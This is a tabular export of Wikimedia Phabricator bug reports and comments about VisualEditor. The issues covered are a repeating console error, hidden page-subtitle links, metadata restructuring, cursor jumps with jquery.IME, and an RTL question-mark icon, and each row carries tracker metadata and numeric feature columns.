+oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
+ve.ce.SurfaceObserver.pollOnceInternal load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:292
+ve.ce.SurfaceObserver.pollOnce load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:291
+ve.ce.Surface.documentOnBlur load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:264
+proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
+jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
+elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38
+
+File urls:
+https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperimental%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*
+https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2CloadingSpinner%2CmwEmbedUtil%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z
+
+The second error keeps repeating. Also, changing tabs makes the count in the chrome console go up.
+
+It also repeats each time a mouse click is done at the current caret position. It also repeats if the caret is taken to a different position in the text using the mouse or the arrow keys.
+
+**Attached**: {F11632}",,,1379608431,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+56325,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,"I am trying to VEdit https://en.wikipedia.org/w/index.php?title=User:Elitre_%28WMF%29/Sandbox&oldid=573480590&veaction=edit , which is a blank version of my sandbox. There's a lot of white space between the title of the page and the point where I can start adding text, and although the source editor says the page is really empty, looks like there's still something there.
+
+If I hover with the mouse right below the comma in the tagline ""Wikipedia, the free encyclopedia"", the cursor changes as if there's an invisible link.
+1) Right under the comma, the ""link"" points to my userpage (it's clickable, and the page will open in the same tab);
+2) some pixels below, the link will point to [[Help:Page History]];
+3) going further down, it points to a diff of the sandbox.
+There are other points in the page which trigger the links, but the page history one is not easy to spot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52243
+https://bugzilla.wikimedia.org/show_bug.cgi?id=58063",Medium,50.0,1379602440,1389633364.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_description,resolved,True,c1,3,False,False,False,11,,1,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+247219,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,"Change 107133 merged by jenkins-bot:
+Hide #contentSub properly
+
+https://gerrit.wikimedia.org/r/107133",,,1389633324,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247217,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,"Change 107133 had a related patch set uploaded by Jforrester:
+Hide #contentSub properly
+
+https://gerrit.wikimedia.org/r/107133",,,1389626449,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247214,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,Only partly a dupe of bug 52243.,,,1388963194,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_subcomment,,True,c1,3,False,,,26,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247210,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,"The hidden text that causes this, if selected and copy/pasted elsewhere, reads:
+< User:Elitre (WMF)
+This is an old revision of this page, as edited by Elitre (WMF)  (talk | contribs) at 10:57, 18 September 2013. It may differ  significantly from the current revision.
+Revision as of 10:57, 18 September 2013 by Elitre (WMF)  (talk | contribs)
+
+This is reported as being common also in articles.
+Thanks.",,,1379667965,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+56316,Wikitech: Install TemplateData extension,"VisualEditor is installed already. Would be nice to have TemplateData as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1379590500,1426690252.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-ufskmzg3xlrkksp26qtv,task_description,resolved,True,c1,3,True,False,False,11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+428427,Wikitech: Install TemplateData extension,"This seems to have been done, I think by the wikitech config/deployment changes.",,,1426690252,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ufskmzg3xlrkksp26qtv,task_subcomment,,True,c1,3,True,,,89,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+56299,(Re-) unify data and metadata,"Because about half the code in the DM is solely there to keep this delicate data structure together, and now that we don't need ±1 cursoring it seems like a lot of effort for nothing.
+
+The behaviour it provides (protecting metadata from deletion) can all be done in the transaction builders, and in fact we already do this for internal lists)
+
+Going forward this will make multi user editing a lot easier to.
+
+That said this is going to be a massive commit.
+
+-----
+
+Currently, MetaItems are stored outside the main linear data structure, in a separate meta linear data structure. This complicates the processing of linear data: transaction processing, rebasing, serialization/deserialization etc, and makes it harder to reason about document correctness. Instead:
+* Store metadata as block nodes in the main data list
+* On conversion from HTML, hoist metadata found in a content position to a legal structural position
+* On conversion back to HTML, roundtrip metadata hoisted from unmodified content branch nodes back into the original content position
+* When deleting across metadata (e.g. <p>foo[-</p><meta/><p>-]bar</p>), hoist metadata to a legal structural position as necessary",Medium,50.0,1379550420,1517245931.0,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-vstc34ukjrx4agdul6rw,task_description,resolved,True,c1,3,True,False,False,11,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+1002753,(Re-) unify data and metadata,Gosh.,,,1517245931,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,True,,,239,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+1002739,(Re-) unify data and metadata,"Change 405751 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (c5fddd508)
+
+[[https://gerrit.wikimedia.org/r/405751]]
+",,,1517245035,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,239,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1000540,(Re-) unify data and metadata,"Change 405751 had a related patch set uploaded (by Jforrester; owner: Jforrester):
+[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (67548dc57)
+
+[[https://gerrit.wikimedia.org/r/405751]]
+",,,1516647701,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,238,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1000532,(Re-) unify data and metadata,"Change 385492 **merged** by jenkins-bot:
+[VisualEditor/VisualEditor@master] [BREAKING CHANGE] Store metadata as block nodes in the main data list
+
+[[https://gerrit.wikimedia.org/r/385492]]
+",,,1516647435,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,238,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+994424,(Re-) unify data and metadata,"Change 336929 had a related patch set uploaded (by Jforrester; owner: Jforrester):
+[mediawiki/extensions/VisualEditor@master] [WIP] [PULLTHROUGH] MW changes for the meta-data inlining commit
+
+[[https://gerrit.wikimedia.org/r/336929]]
+",,,1515616786,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,236,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+951438,(Re-) unify data and metadata,"Change 336925 abandoned by Divec:
+WIP: [BREAKING CHANGE] Store metadata as block nodes in the main data list
+
+Reason:
+Moved to Ib5174b0dcba1c24f44d889e08140bee31a064011
+
+[[https://gerrit.wikimedia.org/r/336925]]",,,1508543685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,224,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+951437,(Re-) unify data and metadata,"Change 385492 had a related patch set uploaded (by Divec; owner: Divec):
+[VisualEditor/VisualEditor@master] WIP: [BREAKING CHANGE] Store metadata as block nodes in the main data list
+
+[[https://gerrit.wikimedia.org/r/385492]]
+",,,1508543616,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,224,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+806975,(Re-) unify data and metadata,"Change 336925 had a related patch set uploaded (by Jforrester):
+[BREAKING CHANGE] Store metadata as block nodes in the main data list
+
+[[https://gerrit.wikimedia.org/r/336925]]
+",,,1486679038,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,188,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+806917,(Re-) unify data and metadata,"Change 336899 had a related patch set uploaded (by Jforrester):
+Update VE core submodule to master (0dfc50a88)
+
+[[https://gerrit.wikimedia.org/r/336899]]
+",,,1486675750,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,188,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+806799,(Re-) unify data and metadata,"Change 314568 merged by jenkins-bot:
+Store metadata as block nodes in the main data list
+
+[[https://gerrit.wikimedia.org/r/314568]]",,,1486668402,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,188,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+806014,(Re-) unify data and metadata,"Change 314568 had a related patch set uploaded (by Jforrester):
+Store metadata as block nodes in the main data list
+
+[[https://gerrit.wikimedia.org/r/314568]]
+",,,1486584604,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,False,,,188,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+665966,(Re-) unify data and metadata,We now have ve.dm.Node.static.isDeletable.,,,1463763857,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vstc34ukjrx4agdul6rw,task_subcomment,,True,c1,3,True,,,150,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+56298,VisualEditor: ResizableNode should be able to live-preview the node it's resizing as you drag,"This would also solve the problem of the resize marker having to snap into the right position at the end of a drag if you use the wrong handle (or any handle if the image is centred)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379549580,1381936853.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-nqqibdaciuaeyw2lnzmy,task_description,resolved,True,c1,3,True,False,False,11,,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+245620,VisualEditor: ResizableNode should be able to live-preview the node it's resizing as you drag,"Change 89814 merged by jenkins-bot:
+Resizable node live preview
+
+https://gerrit.wikimedia.org/r/89814",,,1381926939,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqqibdaciuaeyw2lnzmy,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245613,VisualEditor: ResizableNode should be able to live-preview the node it's resizing as you drag,"Change 89814 had a related patch set uploaded by Esanders:
+Resizable node live preview
+
+https://gerrit.wikimedia.org/r/89814",,,1381839789,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqqibdaciuaeyw2lnzmy,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+56283,VisualEditor: Cursor jumps to the beginning of the sentence/paragraph when using jquery.IME,"**Author:** `renukaalurkar`
+
+**Description:**
+1)Logged in to http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page
+2)Go to your user page.
+3)Click on Languages/cog, select Input and click on Enable Input tools.
+4)Click on Edit beta tab.
+5)Click on More, and using Media, select a couple of pictures
+6)Click on the tiny keyboard/typewriter and select language as Hindi or Telugu
+7)Now start entering text in Hindi or Telugu.
+
+Observations:
+1)After typing a few letters, the cursor jumps back to the beginning of the sentence.
+2)Sometimes, when Enter is hit, the cursor goes back to the beginning of the paragraph.
+3)Sometimes, when Enter is hit one of the images disappears.Write some more and the other image also disappears.
+4)Click on Save page button
+5)Now both the images are visible again.
+
+Observed on Firefox 24.0 and Chrome 29.0.1547.66
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379529000,1453748296.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-hu7ibauxmtlo3ljy4pvq,task_description,resolved,True,c1,3,False,False,False,11,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+596641,VisualEditor: Cursor jumps to the beginning of the sentence/paragraph when using jquery.IME,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453748296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hu7ibauxmtlo3ljy4pvq,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+421349,VisualEditor: Cursor jumps to the beginning of the sentence/paragraph when using jquery.IME,"I've set my Language settings on https://en.wikipedia.org to using native keyboard for Hindi input.
+
+> 5)Click on More, and using Media, select a couple of pictures
+> 6)Click on the tiny keyboard/typewriter and select language as Hindi or Telugu
+
+Where exactly? In the ""alternative caption"" field of the ""Insert Image"" dialog? Some other field? The text of the page you edit?
+At least for लिप्यंतरण and इनस्क्रिप्ट I cannot reproduce any jumping back of the cursor in the ""alternative caption"" field.
+
+The steps to reproduce this problem are a bit unclear (but probably only because the user interface has changed since this problem was reported). 
+
+Clarification highly welcome.",,,1425553166,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hu7ibauxmtlo3ljy4pvq,task_subcomment,,True,c1,3,True,,,87,,1,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+56276,RTL for Notification Tool: ? should be ؟ icon,"? should be ؟ icon
+
+For  Notification Tool for  RTL languages Please change ""?"" icon in attached image to RTL icon
+
+See @Amire80's comment.  Not the same for all languages.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54252
+
+**Attached**: {F11507}",Medium,50.0,1379514480,1488434919.0,PHID-USER-dswbdv7ibhsefllcqarz,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-blsktvyvk2zcdw2o4yue,task_description,resolved,True,c1,3,False,False,False,11,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1
+818087,RTL for Notification Tool: ? should be ؟ icon,"I believe that this is now long-since fixed, since we moved to OOjs UI.",,,1488434919,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,True,,,191,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+495950,RTL for Notification Tool: ? should be ؟ icon,"VisualEditor seems to deal with this issue with the help button (also presented as ?)
+
+It might help checking what lists they have to when to flip the question mark and when not to, and use that same strategy in this case.",,,1437684531,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,107,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+244236,RTL for Notification Tool: ? should be ؟ icon,"**nzmoihue** wrote:
+
+Seems dvwiki is also using ""؟"" http://dv.wikipedia.org/wiki/%DE%88%DE%A8%DE%86%DE%A8%DE%95%DE%A9%DE%91%DE%A8:%DE%A2%DE%A7%DE%82%DE%B0%DE%89%DE%AA_%DE%80%DE%AE%DE%85%DE%AA%DE%87%DE%A6%DE%81%DE%A8 (find ""؟"" on that bug using Ctrl+F)
+
+I guess something like https://github.com/wikimedia/mediawiki-core/blob/9ea365dcb2f1390e117767e0ead4a5655ad4631d/skins/common/shared.css#L240 is needed for reversed question mark",,,1383344041,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,17,,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+244230,RTL for Notification Tool: ? should be ؟ icon,"This is not needed for all languages.
+
+It is definitely not needed for Hebrew and Yiddish.
+
+It is *probably* needed for all languages written in the Arabic script.
+
+I'm not sure about Divehi (dv) and Aramaic (arc).",,,1381915440,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,15,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+244226,RTL for Notification Tool: ? should be ؟ icon,"**bsitu** wrote:
+
+Oops, the patch referenced the wrong bug",,,1381518303,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-blsktvyvk2zcdw2o4yue,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
